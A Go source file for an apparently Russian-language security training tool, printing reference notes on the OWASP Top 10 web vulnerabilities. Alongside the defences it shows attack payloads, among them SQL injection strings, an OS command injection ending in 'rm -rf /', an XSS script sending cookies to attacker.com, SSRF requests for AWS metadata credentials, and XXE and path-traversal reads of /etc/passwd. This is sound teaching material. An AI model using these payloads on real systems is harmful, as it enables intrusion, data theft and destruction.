package infosecmodules

import (
	"rubric/utils"
)

var WebModule = Module{
	Key:         "web",
	Aliases:     []string{"w", "owasp", "webapp"},
	Title:       "Безопасность веб-приложений",
	Description: "OWASP Top 10, XSS, SQLi, CSRF, SSRF, XXE, инъекции и защита",
	Run:         showWeb,
}

func showWeb() {
	utils.Header("InfoSec — Безопасность веб-приложений")

	utils.Section("OWASP Top 10 (2021)")
	utils.Code(`A01 Broken Access Control      — нарушение контроля доступа (IDOR, privilege escalation)
A02 Cryptographic Failures    — слабая/отсутствующая криптография
A03 Injection                 — инъекции (SQL, NoSQL, команды, LDAP)
A04 Insecure Design           — небезопасный дизайн
A05 Security Misconfiguration — неправильная конфигурация
A06 Vulnerable Components     — уязвимые зависимости
A07 Auth Failures             — ошибки аутентификации и сессий
A08 Software & Data Integrity — нарушение целостности ПО и данных
A09 Logging & Monitoring Failures — недостаточное логирование
A10 SSRF                      — Server-Side Request Forgery`)

	utils.Section("A03 Injection — SQL Injection")
	utils.Code(`SQL Injection — внедрение SQL-кода через пользовательский ввод.

Уязвимый код:
  query = "SELECT * FROM users WHERE name='" + name + "'"
  # Ввод: ' OR '1'='1
  # Результат: SELECT * FROM users WHERE name='' OR '1'='1'

Типы SQLi:
  In-band  — ответ видно в ответе приложения
    Error-based — ошибки раскрывают структуру БД
    Union-based — UNION SELECT для получения данных
  Blind    — нет прямого ответа, только true/false или задержки
    Boolean-based — условие true/false
    Time-based    — SLEEP() для подтверждения
  Out-of-band — данные через DNS/HTTP запросы

Примеры атак:
  ' OR '1'='1' --           # обход авторизации
  ' UNION SELECT 1,user(),3 --  # получить имя БД-пользователя
  '; DROP TABLE users; --   # разрушительная (редко работает)
  ' AND 1=2 UNION SELECT table_name FROM information_schema.tables --

Защита:
  1. Параметризованные запросы (Prepared Statements) — ГЛАВНЫЙ метод
  2. ORM (SQLAlchemy, Hibernate, GORM)
  3. Хранимые процедуры
  4. Экранирование (последний выбор!)
  5. WAF
  6. Принцип минимальных привилегий для БД-пользователя

# Безопасный код (Python):
cursor.execute("SELECT * FROM users WHERE name = %s", (name,))

# Безопасный код (Go):
db.Query("SELECT * FROM users WHERE name = ?", name)`)

	utils.Section("A03 Injection — другие типы")
	utils.Code(`NoSQL Injection (MongoDB):
  Уязвимо: db.users.find({username: req.body.username})
  Атака:  {"username": {"$gt": ""}}   # всегда true
  Защита: валидация типов, mongoose.sanitize()

Command Injection (OS Injection):
  Уязвимо: os.system("ping " + host)
  Атака:  "127.0.0.1; rm -rf /"
  Защита: subprocess.run(["ping", host], shell=False)  # НЕ shell=True!

LDAP Injection:
  Атака на LDAP-запросы (AD аутентификация)
  Защита: экранирование спецсимволов LDAP

XPath Injection:
  Как SQL, но для XML/XPath
  Защита: параметризованные XPath запросы

Template Injection (SSTI):
  Уязвимо: render_template_string("Hello " + name)
  Атака:  name = "{{7*7}}" → 49 (Jinja2 выполняет код)
  Опасность: RCE (Remote Code Execution)
  Защита: никогда не рендерить пользовательский ввод как шаблон`)

	utils.Section("XSS — Cross-Site Scripting")
	utils.Code(`XSS — внедрение скриптов в страницы, просматриваемые другими пользователями.
Выполняется в браузере жертвы.

Типы:
  Reflected XSS — в параметре запроса, не сохраняется
    URL: /search?q=<script>alert(1)</script>
  
  Stored (Persistent) XSS — сохраняется в БД/файлах
    Комментарий: <script>document.cookie</script>
    Опаснее: видят все пользователи
  
  DOM-based XSS — через DOM, не проходит через сервер
    document.write(location.hash)

Что может сделать XSS:
  - Украсть cookies (document.cookie)
  - Кейлоггинг (capture input)
  - Перенаправление (window.location)
  - Изменить страницу (phishing)
  - CSRF от имени жертвы

Атака (кража cookies):
  <script>
  new Image().src="https://attacker.com/steal?c="+document.cookie
  </script>

Защита:
  1. Content Security Policy (CSP) — главная защита
  2. Экранирование вывода (output encoding)
     HTML: &lt; &gt; &amp; &quot;
  3. HttpOnly cookies (нельзя читать через JS)
  4. X-XSS-Protection заголовок (устарел)
  5. Sanitize библиотеки (DOMPurify для JS)

# CSP заголовок:
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-random123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none'`)

	utils.Section("CSRF — Cross-Site Request Forgery")
	utils.Code(`CSRF — выполнение действий от имени аутентифицированного пользователя.
Браузер автоматически отправляет cookies с любым запросом.

Атака:
  1. Alice вошла в bank.com (cookies в браузере)
  2. Alice открывает attacker.com
  3. Страница attacker.com:
     <img src="https://bank.com/transfer?to=hacker&amount=1000">
  4. Браузер отправляет запрос с cookies Alice!
  5. Перевод выполнен.

Защита:
  1. CSRF-токен — уникальный токен в форме/заголовке
     <input type="hidden" name="csrf_token" value="random_token">
     Сервер проверяет токен при каждом POST
  
  2. SameSite Cookie:
     Set-Cookie: session=abc; SameSite=Strict  # только same-site
     Set-Cookie: session=abc; SameSite=Lax     # кросс-сайт только GET
     Set-Cookie: session=abc; SameSite=None; Secure  # везде (CSRF-уязвимо)
  
  3. Проверка Origin/Referer заголовка
  
  4. Double Submit Cookie
  
  5. Custom request header (X-Requested-With: XMLHttpRequest)
     Браузеры не добавляют кастомные заголовки кросс-оригин без CORS`)

	utils.Section("SSRF — Server-Side Request Forgery")
	utils.Code(`SSRF — сервер делает запрос к произвольному URL, указанному атакующим.

Атака:
  # Уязвимое API: POST /fetch {"url": "..."}
  
  # Доступ к внутренним сервисам:
  {"url": "http://192.168.1.1/admin"}
  {"url": "http://localhost:8080/actuator"}
  
  # AWS metadata (получить credentials):
  {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
  
  # Сканирование внутренней сети:
  {"url": "http://10.0.0.1:3306"}

Защита:
  1. Whitelist разрешённых URL/доменов
  2. Блокировать приватные IP диапазоны
  3. DNS rebinding защита
  4. Ограничить исходящие соединения (egress firewall)
  5. AWS IMDSv2 (требует токен для metadata)`)

	utils.Section("A01 Broken Access Control — IDOR")
	utils.Code(`IDOR (Insecure Direct Object Reference) — прямые ссылки на объекты без проверки прав.

Атака:
  GET /api/users/1001/profile       # твой профиль
  GET /api/users/1002/profile       # чужой профиль (просто меняем ID!)
  GET /api/orders/5678/invoice      # чужой счёт

Защита:
  1. Всегда проверять авторизацию к конкретному объекту
  2. Использовать GUID/UUID вместо последовательных ID
  3. Indirect Reference Map (пользователь видит только свои ID)
  4. Тестировать с разными пользователями!

Privilege Escalation:
  Горизонтальная — доступ к данным другого пользователя
  Вертикальная   — получение прав admin

# Пример правильной проверки (Python):
order = Order.get(order_id)
if order.user_id != current_user.id:
    return 403  # Forbidden`)

	utils.Section("Другие важные уязвимости")
	utils.Code(`XXE (XML External Entity):
  Уязвимо: парсер обрабатывает внешние сущности
  Атака:
    <?xml version="1.0"?>
    <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <root>&xxe;</root>
  Защита: отключить XXE в парсере, использовать JSON

Path Traversal:
  Атака: GET /download?file=../../../../etc/passwd
  Защита: realpath + проверка что путь внутри разрешённой директории

Insecure Deserialization:
  Атака: подделать сериализованный объект → RCE
  Защита: не десериализовать непроверенные данные, подписывать объекты

Open Redirect:
  Атака: /redirect?to=https://evil.com
  Защита: whitelist разрешённых доменов для редиректа

Security Headers (важные HTTP заголовки):
  Strict-Transport-Security: max-age=31536000; includeSubDomains
  Content-Security-Policy: default-src 'self'
  X-Frame-Options: DENY
  X-Content-Type-Options: nosniff
  Referrer-Policy: strict-origin-when-cross-origin
  Permissions-Policy: camera=(), microphone=()`)

	utils.Footer()
}
